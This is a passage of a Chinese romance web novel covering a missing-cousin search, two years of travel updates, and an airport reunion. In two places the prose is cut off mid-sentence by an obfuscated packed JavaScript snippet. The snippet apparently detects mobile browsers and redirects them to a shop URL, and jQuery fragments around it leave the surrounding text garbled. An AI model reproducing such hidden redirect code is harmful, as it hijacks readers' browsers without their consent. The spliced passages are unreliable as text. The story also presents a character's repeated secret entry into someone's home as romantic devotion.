于是,秦朗肩上的担子又沉了一倍。不仅要发疯一样动用人脉寻找周冉和南景的蛛丝马迹,还要分出大量精力处理本应由邵既明负责的邵氏核心事务。会议、谈判、决策、应酬……他像个高速旋转的陀螺,连轴转到深夜是常态,咖啡当水喝,眼圈乌青得堪比熊猫。心里揣着对周冉下落的灼烧般的焦虑,还要时刻分神留意着邵既明那边医生反馈的状况,整个人像是被放在文火上慢慢煎熬。 这天下午,他刚结束一场跨国视频会议,喉咙干得冒烟,太阳穴突突直跳,正准备灌下今天第六杯黑咖啡提神,手机就响了起来。来电显示——小姨。 秦朗心里“咯噔”一下,有种不祥的预感。 他接起电话,还没开口,听筒里就传来秦凌萱压抑不住的、带着浓重哭腔的颤抖声音,背景音有些嘈杂,似乎在外面:“小朗!小朗你在哪儿?!既明……既明他不见了!” 秦朗脑子里“嗡”的一声,握紧了手机:“小姨,你别急,慢慢说。怎么回事?什么叫不见了?护工呢?医生呢?” “我不知道……我真的不知道……”秦凌萱的声音满是慌乱,“护工说中午看他吃了药,状态还算平静,说想自己待一会儿。结果下午我去看他,人就不在房间了!手机就放在床头,没带!家里、院子里都找遍了,没有!问保镖,都说没看见他出去!可他就是不见了!小朗,我……我不敢告诉你姨父,他那个脾气……既明现在这个样子……我怕他受刺激……你快想想办法,找找他啊!他会去哪儿?他会不会想不开……” 他闭了闭眼,强迫自己冷静,快速打断小姨的哭诉:“小姨,你先别慌,就在家待着,哪都别去,也别惊动姨父。我马上让人查,有消息立刻告诉你。放心,既明……他不会有事,我保证。” 挂了电话,秦朗只觉得一个头两个大,太阳穴疼得更厉害了。他揉着眉心,用内线叫来最得力的助理,声音沙哑地吩咐:“立刻,调取别墅和附近所有道路监控,尤其是中午到现在的。查邵既明可能去的地方,医院、心理咨询中心、常去的几个地方……还有,”他顿了顿,一个念头闪过,“查一下周冉和南景之前住的那处房产,要快!” 助理领命而去。秦朗坐在宽大的皮椅里,却如坐针毡。他了解邵既明。在药物和心理重压的双重作用下,那小子行为逻辑不能以常理度之。他会去哪儿?一个精神濒临崩溃、只想抓住与南景有关的一切的人…… 两个小时后,助理传来消息。监控显示,中午时分,邵既明确实没有从别墅正门离开。但他居住的那栋副楼后方,有一段围墙监控存在短暂盲区。而更早一些的社区外围道路监控,捕捉到一个身形与邵既明极为相似,步行离开了那片高级住宅区,随后消失在人流中。 同时,另一条信息传来:周冉名下那套位江边的高层,门禁系统在下午一点左右,被一个未被授权但疑似通过某种技术手段复制的门卡刷开过。物业当时并未特别留意。 秦朗一拳砸在办公桌上。果然! 他抓起车钥匙,外套都顾不上拿,冲出了办公室。一路风驰电掣,赶到那栋楼下。物业经理早已等候在门口,脸色忐忑。 “秦、秦总,我们看了监控,确实有人进去了,在22楼,周小姐的那套。一直没出来。我们没敢贸然进去,怕……” “钥匙!备用门卡!”秦朗厉声打断他。 拿到门卡,他直接冲进电梯,按了顶楼。电梯缓慢上升,每一秒都像在凌迟他的耐心。终于,“叮”一声,门开了。 秦朗走到门前,没有立刻刷卡。他侧耳听了听,里面一片死寂。他深吸一口气,刷了卡。 “咔哒。”门锁开了。 他轻轻推开门。 客厅里空无一人,家具都蒙着防尘白布。秦朗放轻脚步,目光扫过每一个角落。主卧,没人,次卧,没人。卫生间,没人。 他的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046490|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最终落在次卧旁边,那扇紧闭的衣帽间门上。 他走过去,手放在冰凉的金属门把手上。里面似乎有极其轻微衣物摩擦的窸窣声。 他拧动把手,推开了门。 衣帽间没有窗,一片漆黑。秦朗摸到墙上的开关,“啪”一声打开灯。 光灯瞬间照亮了这个不算太大的空间。而此刻,在衣柜最深处的角落里,蜷缩着一个身影。 邵既明。 他把自己缩得很小,几乎嵌进衣柜与墙壁的夹角里。怀里紧紧抱着一件南景衬衫,此刻被邵既明以一种近乎窒息的力道搂在胸前,脸颊深深埋进去。 听到开门和亮灯的声音,他受惊般猛地一颤,但没有抬头,反而把脸更深地埋进那件衬衫里,身体蜷缩得更紧,喉咙里发出压抑的呜咽。 秦朗站在门口,看着这一幕,心脏又酸又涩,堵得他几乎喘不上气。愤怒、焦急、心疼、无力感……种种情绪翻滚沸腾。他闭了闭眼,再睁开时,尽量让声音听起来平稳,但依旧带着压抑的火气:“邵既明。” 角落里的人颤抖了一下,没动。 “出来。”秦朗又说,语气加重了些。 邵既明还是没动,只是呜咽声大了一点,抱着衬衫的手臂收得更紧。 秦朗的火气“噌”地又冒了上来,他几步走过去,蹲下身,一把扯掉邵既明的帽子。邵既明惊恐地抬头,露出一张惨白如纸、泪痕交错、眼眶通红肿胀的脸。眼神涣散,充满了惊惧和抗拒,嘴唇被自己咬得渗出血丝。 “你看看你现在像什么样子?!”秦朗压低声音吼道,手指戳着他的肩膀,又不敢太用力,“躲在这儿?抱着件破衣服?电话不接,人玩失踪?你知不知道你妈快急疯了?!啊?!我他妈找周冉找南景已经快找疯了,还得满世界找你!邵既明,你今年几岁了?!能不能稍微……稍微让人省点心?!” 邵既明被他吼得瑟缩,眼泪汹涌而出,但他死死抱着那件衬衫,仿佛那是他最后的救命稻草。他摇着头,声音破碎嘶哑,语无伦次: “我找不到他……哥……我找不到南景……哪里都找不到……这里……这里有他的味道……只有这里还有……我闻得到……只有抱着这个……我这里才没那么疼……”他另一只没抱衣服的手,死死攥着自己胸口的衣料,仿佛那里有一个血肉模糊的洞。 “那你也不能躲这儿!”秦朗又急又气,“这是别人家!周冉的房子!你他妈这叫非法入侵!要是被人知道了,你……” “他不会回来了……”邵既明忽然打断他,抬起头,眼神空洞地看着虚空,泪水无声滑落,“他不会要这套房子了……也不要我了……我找不到他……我哪里都找不到……哥,我好难受……这里好空……好冷……只有这个味道……是热的……是活的……” 他说着,又把脸埋进衬衫里,贪婪地深吸了一口气,又是一个顶级过肺。 秦朗看着他这副模样,所有责骂的话都堵在了喉咙里。他想起医生私下跟他说的,邵既明现在的抑郁程度,已经伴有严重的解离倾向和现实感削弱,对与南景相关的物品产生病态依恋,是这种状态下的一种扭曲的自我安抚机制。 他无力地叹了口气,在邵既明旁边坐下,也不管地上有没有灰。他伸手,想拍拍邵既明的背,手在半空中停顿了一下,最终还是落了下去,力道很轻。 “起来,先跟我回去。”秦朗的声音放软了些,“你妈还在家等着,快急出心脏病了。有什么话,回去再说。这里……终究不是你的地方。” 邵既明不动,只是哭,抱着衬衫摇头。 秦朗揉了揉发痛的额角,换了种方式,带着点哄骗和威胁:“你先跟我回去,好好吃药,好好休息。我答应你,继续找南景,一有消息,第一时间告诉你。但你要是在这儿待着,被发现了,或者出点什么事,那可能就真的……永远也见不到他了。你不想那样,对吧?” “真的……能找到吗?”邵既明抬起泪眼。 “只要人还在地球上,哥就一定帮你找到。”秦朗看着他,郑重地承诺,“但前提是,你得先好好的,活着,等着。你这样……就算找到了,你怎么见他?让他看到你这副样子?” 邵既明怔怔地看着秦朗,似乎在艰难地消化这些话。过了好一会儿,他才极其缓慢地、点了点头。但他依旧没有松开那件衬衫。 “这个……能带走吗?”他小声问,眼神里充满了乞求。 秦朗看着那件衬衫,再看看邵既明紧紧抱着它的样子,心里五味杂陈。这要是强行拿走,可能会刺激邵既明当场崩溃。 “……就这一件。”秦朗最终妥协,语气无奈,“穿身上,或者拿着,别让人看见。回去就收好。下不为例。” 邵既明立刻点头,小心翼翼地将那件衬衫叠了叠,抱在怀里,然后才借着秦朗的搀扶,有些虚软地站了起来。他腿脚发麻,站不稳,几乎整个人靠在秦朗身上。 秦朗扶着他,慢慢走出这所空旷寂寥的公寓。 回到车上,邵既明依旧紧紧抱着那件衬衫,蜷缩在副驾驶座,眼神空洞地望着窗外飞速倒退的街景。秦朗一边开车,一边用蓝牙耳机给焦急等待的小姨报了平安,语气尽量轻松,只说是邵既明情绪不好出去散了散心,已经找到了,人没事,正带他回去。 秦朗瞥了一眼身旁仿佛失去灵魂的邵既明,又想到依旧杳无音讯的周冉和南景,只觉得前路茫茫,肩上的担子沉得让他几乎喘不过气。 40. 找到了,但没抓到 秦朗的电脑屏幕上,播放着一段显然是偷拍角度的视频。画面有些晃动,光线迷离炫目,背景是某个热带海岛风格浓厚的露天派对现场。震耳欲聋的音乐似乎能穿透屏幕,空气里仿佛都漂浮着酒精、荷尔蒙和防晒霜的味道。 而画面的焦点…… 秦朗的额角青筋“突突”直跳,牙齿咬得咯咯响,恨不得把屏幕里那几个晃动的身影抠出来捏碎。 “来来来!邵既明!你过来!给我好好看看!睁大你的眼睛看清楚!” 他一把将旁边沙发上蜷缩着、眼神空洞盯着地板的邵既明拽过来,手指几乎要戳穿显示屏:“看看!看看人家南景身边现在都是些什么样的妖魔鬼怪!啊?!” 视频里,南景穿着一件简单的白色亚麻衬衫,袖子随意挽到手肘,下身是卡其色短裤,赤脚踩在沙滩上。他看起来放松而惬意,手里拿着一杯色彩鲜艳的饮料,正微微侧头,听着旁边一个金发男人说话。那男人身高接近一米九,只穿着一条沙滩裤,裸露的上半身肌肉线条流畅分明,不是夸张的健美先生款,而是那种长期运动塑造出充满力量与美感的体魄,八块腹肌在阳光下清晰得像雕刻出来的巧克力板,人鱼线深深没入裤腰。肤色是健康的小麦色,笑容爽朗,露出一口白牙,正比划着手势,不知说了什么,引得南景也弯起了眼角。 镜头一转,不远处,周冉更是玩得风生水起。她穿着缀满亮片的吊带和热裤,长发飞扬,在几个同样身材惹火、穿着清凉的猛男中间,像只快乐的花蝴蝶。她大笑着,伸手拍了拍左边一个黑发帅哥结实饱满的胸肌,又对着右边一个做着高难度倒立动作、展示着核心力量的红发男人吹了声口哨,甚至还凑过去,用手指戳了戳另一个正在做俯卧撑的男人绷紧的肱二头肌,笑得见牙不见眼。那些男人显然也很享受她的检阅,一个个笑得比孔雀开屏还灿烂。 “帅吧?酷吧?啊?这肌肉!这身材!这他妈的阳光活力的劲儿!”秦朗指着屏幕上那些晃动的腹肌和人鱼线,每说一个字都像是从牙缝里挤出来的冰碴子,又酸又冷,“再看看你!邵既明!你看看你现在什么样?!” 他猛地转过邵既明的脸,迫使他看着屏幕,又指着视频里南景那个放松的笑容:“看看!南景对着这种肌□□子笑得多开心!你再看看你!瘦得跟个排骨精成精似的,脸色惨白得像刚从古墓里爬出来,风吹大点我都怕你散架!眼神空洞得能直接拍恐怖片!就你这样”他用力戳了戳邵既明单薄的、隔着毛衣都能摸到肋骨的胸口,“人家南景是瞎了才会放着那种八块腹肌的阳光猛男不看,回来看你这副风吹就倒、抱着件破衬衫哭唧唧的林黛玉模样?!啊?!” 邵既明的目光死死黏在屏幕上南景的笑容和那个金发男人靠近的身影上,眼泪毫无预兆地、大颗大颗滚落,瞬间浸湿了苍白的脸颊。他像是被秦朗的话和眼前的画面同时刺穿,身体颤抖得厉害,但眼睛却一眨不眨,嘴唇哆嗦着,反复喃喃:“我会练的……哥,我会练的……我吃药,我吃饭,我去健身房……我一定练得比他们还好……比他们肌肉多,比他们身材好……你信我……我能练好的……” 秦朗看着他那副泪流满面、却认真发誓要练肌肉的蠢样子,又瞥了一眼视频里周冉摸着别人腹肌笑靥如花的脸,只觉得一股邪火混着铺天盖地的酸意直冲脑门,差点把他天灵盖掀飞。 “练!必须练!往死里练!”秦朗咬牙切齿,像是给自己打气,又像是给邵既明下命令,“妈的,那些肌□□子有什么了不起?不就是皮相好吗?啊?脸呢?啊?邵既明你给老子看清楚!” 他暂停视频,放大那个金发猛男的脸部特写:“你看这张脸!这他妈就是标准的西方量产帅哥脸!金发碧眼高鼻梁,跟商场里卖的芭比娃娃的男朋友肯一样,毫无灵魂!还有旁边那个黑毛,笑起来跟牙膏广告似的,假!那个红毛,一看就四肢发达头脑简单!” 他指着邵既明,虽然此刻对方憔悴不堪,但骨相轮廓的优越依旧无法掩盖:“再看看你这张脸!就算现在瘦脱相了,底子还在呢!眉是眉眼是眼的,当年也是风靡万千少女少男的冷酷霸总脸!等你他妈的好起来,把肉养回来,精神头足了,再配上练出来的肌肉,”他努力想象了一下,虽然觉得前景渺茫,但嘴上不能输,“那绝对是质的飞跃!从病弱美人进化成战损版天菜!秒杀这些徒有其表的绣花枕头!不,是绣花肌肉!” 他越说越激动,仿佛已经看到了邵既明练成筋肉人、王者归来的样子。但话又说回来,视频里那些围着周冉的男人…… 秦朗的目光又不受控制地飘回屏幕上定格的、周冉戳别人肱二头肌的画面,只觉得那手指头戳的不是别人的肌肉,是他的心肝脾肺肾! “还有周冉这个没良心的!”他调出周冉那部分的画面,痛心疾首,唾沫横飞,“摸!就知道摸!那胸肌有什么好摸的?有我的弹吗?有我的手感好吗?!啊?这腹肌,一看就是吃蛋白粉催出来的,死硬!哪有我这种浑然天成充满生命力的柔韧?!这肱二头肌,块头大有什么用?灵活性肯定不行!哪像我,可刚可柔,能文能武……” 他对着视频里的陌生猛男们品头论足,从肌肉形态批评到笑容弧度,从发型吐槽到裤衩颜色,完全忘了自己刚才还用类似的“优点”刺激邵既明。此刻的他,就像一个看到自家白菜(虽然还没完全到手)被一群陌生猪(还是身材很好的猪)围着拱的愤怒菜农,只能通过贬低猪的品质来获取一丝可怜的心理平衡。 “不过话又说回来,”秦朗骂骂咧咧一通后,稍微冷静了点,摸着下巴,盯着屏幕上南景和周冉在异国他乡、阳光海浪下明显过得不错的状态,眼神阴郁,语气酸得能腌黄瓜,“这俩没良心的……小日子过得挺滋润啊。合着就咱哥俩在国内,一个找得快疯了,一个想得快死了,人差点没了,工作差点垮了,天天过得跟演苦情连续剧似的……他俩倒好,跑到天涯海角开银趴去了?!” 他越想越气,一巴掌拍在桌子上:“妈的!等老子找到人……看我怎么……怎么……”“怎么”了半天,他颓然发现,自己好像也不能把周冉怎么样,打不得骂不得,说不定还得跪着求原谅。 而邵既明,依旧痴痴地看着屏幕上南景的侧影,对秦朗后面的吐槽充耳不闻,只是反复机械地喃喃:“我会练好的……练好了就能去找他了……他喜欢那样的……我就变成那样的……” 秦朗看着身边魔怔了的表弟,又看看屏幕里逍遥快活的“失踪人口”,憋屈地吐出一口浊气。 这都叫什么事儿啊! 难兄难弟,同病相怜,隔着屏幕吃飞醋,还得互相进行一些毫无底气的精神胜利法安慰。 这追妻之路,真是道阻且长,且绿,且充满各种型号的肌肉障碍。 秦朗确实“找到”了周冉和南景的行踪。闻律修的消息网名不虚传,总能从世界某个角落发来模糊的坐标、航班信息、甚至某家小众酒店的入住记录。他也终于弄到了周冉的号码。第一次拨通时,他激动得手指发颤,结果听到周冉在那头背景音嘈杂,用那种漫不经心、带着笑意的声音说:“哟,秦总,能耐啊,这都能找到。不过呢,我现在心中无男人,拔剑自然神。要么,你有本事真找着我人在哪儿;要么,就乖乖等着,等姐什么时候玩够了、心血来潮了,说不定就回去了。拜~” 然后干脆利落地挂断,再打,已是关机。 秦朗气得差点把手机也砸了。但他没辙。他就像拿到了一个永远延迟的GPS信号,每次带着重新开始吃药、努力复健、眼巴巴盼着的邵既明,兴师动众、满怀希望地冲到那个坐标——某个北欧小镇的湖边木屋,南美雨林边缘的生态旅馆,北非沙漠深处的奢华帐篷,总是扑个空。最多在民宿主人的回忆里找到“哦,那对长得很好看的东方兄妹?他们前几天刚走,去了xxx”,或者在前台看到一张没带走印着当地风景的明信片。仿佛周冉和南景背后长了眼睛,总能在他抵达的前一刻,轻盈地跳上下一班巴士、渡轮或小型飞机,消失在地平线。 于是,秦朗和邵既明这对难兄难弟,对周冉南景近况的了解,绝大多数时候,只能依靠周冉那随性更新的朋友圈。 她的朋友圈成了他们窥视那两人世界的唯一窗口,也是反复折磨他们神经的甜蜜酷刑。 斯瓦尔巴群岛,朗伊尔城,北极圈内的黄昏。 照片是南景拍的。周冉穿着臃肿但专业的鲜红色防寒服,背对镜头,站在一片浩瀚无垠蓝白色调的冰原上。远处是巨大的冰川和嶙峋的黑色山峦。她正微微仰头,看着天空。配文:「等了三天,总算看到欧若拉女神甩裙摆了!值了!就是差点冻成冰雕,南小景的摄影技术有待提高,没拍出老娘万分之一的美!」 秦朗放大照片,盯着周冉被冻得通红却笑容灿烂的侧脸,再看看那背景里荒凉磅礴的极地风光,心里又骄傲又不是滋味。邵既明则盯着照片角落,南景映在冰面上一点模糊的倒影,看了很久,然后小声说:“他好像……不怕冷了。” 南极大陆,某科考站附近。 视频。镜头有点晃,是周冉举着手机自拍。她戴着防风镜和毛线帽,脸蛋冻得红扑扑,但眼睛亮得惊人。背景里,一大群黑白相间的企鹅正摇摇摆摆地走过雪地,有的噗通跳进冰海,憨态可掬。“看!帝企鹅!宝宝们!”周冉的声音带着兴奋的喘息,“离得好近!不过不能摸,保护动物!南小景被一只贼鸥追着跑了哈哈哈……镜头转向远处,一个穿着蓝色防寒服的身影正略显狼狈地躲避一只俯冲的大鸟。这边风景独好,就是伙食全是罐头和能量棒,想念火锅烤肉麻辣烫……” 秦朗看着视频里周冉鲜活的模样,又心疼她吃不好,又嫉妒那片纯净天地里的自由。邵既明则反复播放南景被鸟追的那两秒,嘴角极轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一段短视频。镜头沿着光滑的石板路缓缓移动,两边是古老斑驳的墙壁,窗台点缀着鲜花。贡多拉在远处的水道轻轻摇晃。南景清淡的嗓音作为背景音,念着某首关于威尼斯的诗,语调悠远。周冉的配文是:「迷路,但迷得挺开心。听南老师读诗,胜过十个导游。另外,这里的墨鱼面好吃到哭泣!」 秦朗听着南景念诗的声音,看着那幽静浪漫的画面,再想想自己还在国内跟报表和邵既明的药瓶打交道,顿时觉得手里的咖啡比墨鱼面的墨汁还苦。邵既明则把那段视频听了无数遍,直到能背下那几句诗,仿佛这样,就能离南景近一点。 新西兰,皇后镇跳伞基地。 一张拼接图。左边是周冉穿着跳伞服、戴着防风镜、龇牙咧嘴对着镜头做鬼脸的准备照;右边是从高空俯拍的角度,苍茫大地、蜿蜒河流和蔚蓝湖泊在脚下铺展,如同画卷,一个橙色的小点(应该是周冉)正绽放在蓝天里。配文:「尖叫着下去,牛逼着上来!人生清单√南小景在下面给我拍视频,脸都吓白了(虽然他说没有),啧,胆子真小。」 秦朗看得头皮发麻,赶紧查皇后镇跳伞的安全记录,又气又怕。邵既明则看着那张高空俯瞰图,想象着南景在地面仰头担忧张望的样子,心里某个地方微微扯了一下。 近两年的时间,就在这一张张照片、一段段视频、一句句或调侃或感慨的配文中流淌而过。周冉和南景的朋友圈,像一部制作精良的旅行纪录片,记录着极光的梦幻、沙漠的浩瀚、雨林的神秘、温泉的治愈、古城的诗意、极限运动的畅快……他们看起来自由、快乐、充实,彼此陪伴,看遍世界。 而秦朗和邵既明,则像是这部纪录片的两个固定观众,隔着屏幕,跟着他们的足迹云旅行。心情在“她/他看起来真好”的欣慰、“这地方真美下次带她去/他”的幻想、“又跑那么远注意安全啊”的担忧,以及“什么时候才回来看看我/我”的渴望中反复横跳。 秦朗的办公桌抽屉里,攒了一沓厚厚的、打印出来的旅行照片,还有一本写满“等她回来要带她去……”的旅行计划草稿。邵既明的床头柜上,多了一个相册,里面全是打印出来的、有南景出现的朋友圈截图,按照时间顺序排列,旁边有时会写上极短的、只有他自己懂的注释,比如“气色好了”、“笑了”、“瘦了”、“这件衣服没见过”。 他们一个在努力搞事业、稳后方、顺便咬牙切齿地云追踪;一个在乖乖吃药、看医生、努力复健、并对着照片和虚无的“肌肉目标”自我激励。共同点是,都在等待,都在期盼着朋友圈那头的两个人,某一天,会停下流浪的脚步,转身归航。 世界那么大,他们去看遍了。 而有些人,在原来的地方,守着熟悉的风景和一颗悬着的心,等着看够了世界的她/他,是否还记得归途。 41. 两年后 机场国际到达厅的玻璃幕墙外,人流熙攘,广播声、车轮声、重逢的欢笑与离别的不舍交织着。秦朗站在接机口最显眼的位置,手里却捧着一大束与冷酷形象极不相称热烈到有些傻气的弗洛伊德玫瑰,花瓣层层叠叠,丝绒质感,浓郁的酒红色仿佛沉淀了所有等待的时光。他站得笔直,眼睛却一眨不眨地盯着通道口。 当那两个熟悉的身影终于随着人流出现时,秦朗觉得胸腔里那颗悬了近两年的心,终于“咚”一声,重重落回了实处,随即又被更汹涌的情绪涨满。 周冉走在前面。近两年的环球漂泊似乎并未在她身上留下风霜,反而像被世界上最瑰丽的风光淬炼过,淬去了一些过往的锋利,多了几分被天地滋养后的沉静与明艳。她没怎么化妆,皮肤依旧冷白,长发随意绾在脑后,几缕碎发落下,衬得脖颈修长。穿着简单的白色高领毛衣和卡其色工装裤,外罩一件剪裁利落的黑色长款羽绒服,脚上一双沾了点灰的短靴,风尘仆仆,却掩不住那股子从内而外透出的生命力。她推着行李车,目光漫不经心地扫过接机人群,在看到秦朗和他手里那束夸张的玫瑰时,漂亮的眉毛轻轻一挑,红唇勾起一个要笑不笑的弧度。 南景推着另一个更大的行李箱跟在她身后。他晒黑了些,身形似乎比离开时更挺拔结实,少了些都市精英的精致感,多了几分经常户外活动的松弛与力量感。简单的黑色毛衣和牛仔裤,外面是同款黑色长羽绒服,脸上没什么表情,但在看到秦朗和他手里那束花时,眼底笑意荡开。 秦朗几乎是瞬间就看到了他们,大步迎了上去。他先是将那束香喷喷的玫瑰不由分说塞进周冉怀里,然后长臂一伸,将人连同花一起紧紧搂住,力道大得让周冉“唔”了一声。 “小没良心的……”秦朗把脸埋在她的发间,声音闷闷的,带着咬牙切齿的宠溺和沙哑,“终于舍得回来了?啊?我还以为你要在外面当一辈子的野人,被北极熊叼走或者被亚马逊食人鱼当点心了!” 周冉被他勒得有点喘不过气,却没立刻推开,任由他抱了几秒,才抬手不轻不重地捶了下他的背,声音带着笑,懒洋洋的:“哟,秦总,两年不见,演技见长啊,这苦情戏码信手拈来。还捧着花,土不土?” “土?这他妈是品位!是心意!是老子日思夜想的证明!”秦朗松开她一点,但还是揽着她的腰,低头瞪她,眼眶竟有些红,但嘴上不饶人,“你知道这两年我怎么过的吗?啊?看着你在朋友圈摸肌肉猛男的腹肌,在南极逗企鹅,在沙漠看星星……老子在国内替你打理这打理那,还得防着那些不长眼的狂蜂浪蝶,我容易吗我?” 他说着,又转向旁边好整以暇看戏的南景,痛心疾首地告状:“哎呦喂,大舅哥!你也不管管她!看看把她野的,心都玩散了,没边儿了!朋友圈那尺度,那内容,是我能免费看的吗?啊?我得吃多少瓶速效救心丸才能撑到你俩回来?!” “人大了,翅膀硬了,管不了。再说了,秦总不是看得挺起劲,每条都点赞评论,还偷偷存图吗?我以为你乐在其中。” 秦朗被噎了一下,老脸一红,梗着脖子:“我那叫战略监控!掌握敌情!懂不懂?!万一她被哪个金发碧眼的肌□□子拐跑了,我上哪儿哭去?!” 周冉终于忍不住,“噗嗤”笑出声,抱着那束实在过于醒目的玫瑰,引得周围不少人侧目。她踢了踢秦朗的小腿:“行了行了,别嚎了,跟个怨妇似的。赶紧的,回家,累死了。这花……还行,不算太丑。下次别买这么大的,占地方。” 一句“回家”,让秦朗眼底骤然亮起的光几乎要溢出来。他立刻又恢复了狗腿模式,抢过周冉的行李车,又想去拿南景的:“我来我来!大舅哥辛苦了!车就在外面,司机等着呢!走走走,回家!给你们接风洗尘,吃最好的!” 南景没跟他客气,松了手,看着秦朗一手推一个行李车、背上还背着周冉随身小包的滑稽又殷勤的背影,摇了摇头,眼里笑意加深。他走到周冉身边,接过她怀里那束沉甸甸的玫瑰,低声说:“他倒是……一点没变。” 周冉看着秦朗在前面奋力推车、还不时回头傻笑的侧脸,嘴角弯了弯,没说话,只是很轻地“嗯”了一声。 一行人上了秦朗那辆宽敞的越野车。车子平稳地驶向市区。秦朗坐在副驾,几乎扭成了麻花,不停地回头跟后座的周冉说话,问她旅途见闻,抱怨她心狠,又献宝似的说着这两年国内的变化和他为她守护的各项产业,包括她那几盆差点渴死的多肉。周冉大部分时间听着,偶尔毒舌地怼他两句。 回到周冉和南景合住的那个高档小区。打开门,一股清新洁净的气息扑面而来。显然提前有人精心打扫过,窗明几净,一尘不染,连枯萎的植物都被换上了新鲜的绿植,冰箱里塞满了各种食材和饮料。 “可以啊秦总,服务到位。”周冉甩掉靴子,光脚踩在温热地板上,四处看了看,还算满意。 “那必须,夫人归来,岂能怠慢?”秦朗得意洋洋,亦步亦趋,“你的衣柜我也让人按季节整理过了,该干洗的干洗,该保养的保养。对了,你卧室那个按摩浴缸,我换了最新的按摩喷头,保准解乏!” 南景没说什么,推着自己的行李箱回了房间。他的房间也打扫得异常整洁,床单被套都是崭新的,散发着阳光和柔软剂的好闻味道。他放下行李,走到窗边,看着楼下熟悉的庭院景观,微微出了会儿神。一切都和离开时差不多,却又似乎有些极其细微的不同。空气里,除了洁净的味道,似乎还有一丝……有些熟悉的清冷气息,像是某种他几乎已经遗忘的须后水味道。但他并未在意,只当是保洁人员用了不同的清洁产品,或是开窗通风时从外面飘进来的。 他并不知道,过去的近两年里,每当他不在的时候,某个身影总会想方设法潜入这里。不是偷东西(除了最初那几件衣物),只是在他床上躺一躺,在他坐过的椅子上坐一会儿,在他看书的飘窗边发很久的呆。那个身影会小心地不留下明显痕迹,但总会不自觉地泄露一点自身的气息。而每一次,秦朗在定期安排人来打扫维护时,都会“顺便”格外仔细地清理这个房间,开窗通风,更换床品,像最专业的“犯罪现场清理员”,为他那个不争气的弟弟,抹去所有不该被发现的偷窥与依恋。 “晚上想吃什么?中餐还是西餐?日料也行!我让餐厅送家里来,还是出去吃?”秦朗的声音从客厅传来。 “随便,累,不想动。”周冉的声音有些懒。 “那就在家吃!清淡点,适合你们刚回来调整肠胃。”秦朗立刻拍板,拿着手机开始安排。 南景走出房间,看着秦朗在客厅里打电话指挥若定、眼角眉梢都透着“老子老婆回来了”的嘚瑟劲,又看看瘫在沙发上闭目养神的周冉,虽然一脸嫌弃,但眉宇间是放松的。 他走到厨房,给自己倒了杯水。厨房也被收拾得井井有条,他常用的那套骨瓷杯就放在最顺手的位置。窗台上,那盆他离开时半死不活的薄荷,竟然长得郁郁葱葱。 看来,这两年,有人真的把这里当成了家在经营和维护。虽然方式浮夸又聒噪,但那份用心,无法否认。 夜幕降临,华灯初上。丰盛而精致的晚餐送到,摆满了餐桌。三人围坐,久违地一起吃一顿饭。秦朗叽叽喳喳说个不停,周冉偶尔吐槽,南景安静进食,偶尔附和两句。 南景吃完最后一口水果,擦了擦嘴,十分识趣地站起身,对着沙发上姿态已经开始不自觉靠近的两人点了点头:“你们聊,我回房处理点邮件。时差有点乱,先休息了。” 几乎是南景房门合拢的下一秒,秦朗脸上那点强装的正经和久别重逢的激动瞬间剥落,露出了底下压抑了近两年属于饿狼的本质。他眼神一暗,喉结滚动,二话不说,一个带着狠劲的恶狗扑食,就将旁边正翘着腿、懒洋洋刷手机的周冉,结结实实地扑倒在了宽大柔软的沙发里! 周冉猝不及防,低呼一声,手机脱手飞到了地毯上。她没挣扎,只是顺势躺倒,抬手抵住秦朗压下来的胸膛,漂亮的眉毛高高挑起:“这么想我?秦总,两年不见,上来就动手动脚,素质呢?” “想!想得骨头缝都疼!”秦朗双臂撑在她身体两侧,低头,灼热的气息喷洒在她脸上,眼睛亮得骇人,“老子素了两年的质,今天就他妈不想讲了!” 说完,他再也等不及,猛地低头,吻住那两片在梦里出现过无数次总是吐出气人话语的唇瓣。带着无尽的思念,滚烫,深入。他的舌撬开她的牙关,长驱直入,纠缠吮?吸,仿佛要将这两年错失的所有亲密,都在这一刻讨要回来。 周冉起初还象征性地推搡了两下,但很快,手臂便环上了他的脖颈,开始回应。这个吻渐渐变得缠绵而激烈。两年分离带来的陌生感,在这个炽热的吻里迅速消融,只剩下熟悉的悸动和身体本能的契合。 直到两人都气喘吁吁,肺部空气告急,秦朗才缓缓退开。他的额头抵着她的,鼻尖蹭着鼻尖,两人灼热的呼吸交融。周冉的眼眸蒙着一层诱人的水光,眼尾微红,唇瓣被他吻得红肿水润,微微张着喘息,胸口起伏,整个人散发着惊人的诱惑。 秦朗看着她这副模样,下腹绷紧,眼神暗沉得能滴出墨来。他喉结剧烈地滚动了一下,声音沙哑得不成调:“冉冉……今晚……我能留下吗?” 周冉喘匀了气,水光潋滟的眸子斜睨着他,那里面情?欲未散,却已经恢复了平日的清明。她红唇轻启,清晰地吐出两个字: “不能。” 秦朗像是被兜头浇了一盆冰水,高涨的□□和期待瞬间凝固。他哀嚎一声,整个人脱力般,重重地将脑袋砸在周冉柔软馨香的胸前。 “杀了我吧……周冉,你就地正法,给我个痛快算了!这么吊着,比凌迟还难受!” 周冉被他毛茸茸的脑袋蹭得有点痒,却没推开,手指有一下没一下地玩着他后颈的短发,语气懒洋洋的:“我还没原谅你呢。十万块,啧,我想想就……” “小祖宗!祖宗!”秦朗猛地抬起头,急急打断她,脸上是前所未有的认真和割弟赔款的决绝,“我让秦朔那孙子亲自登门道歉!负荆请罪!要杀要剐,随你高兴!我给你递刀,递最锋利的!保证不让他死得太痛快!” 周冉挑了挑眉,有些意外地看着他:“那是你亲弟弟吗?你这么不管他死活的?” 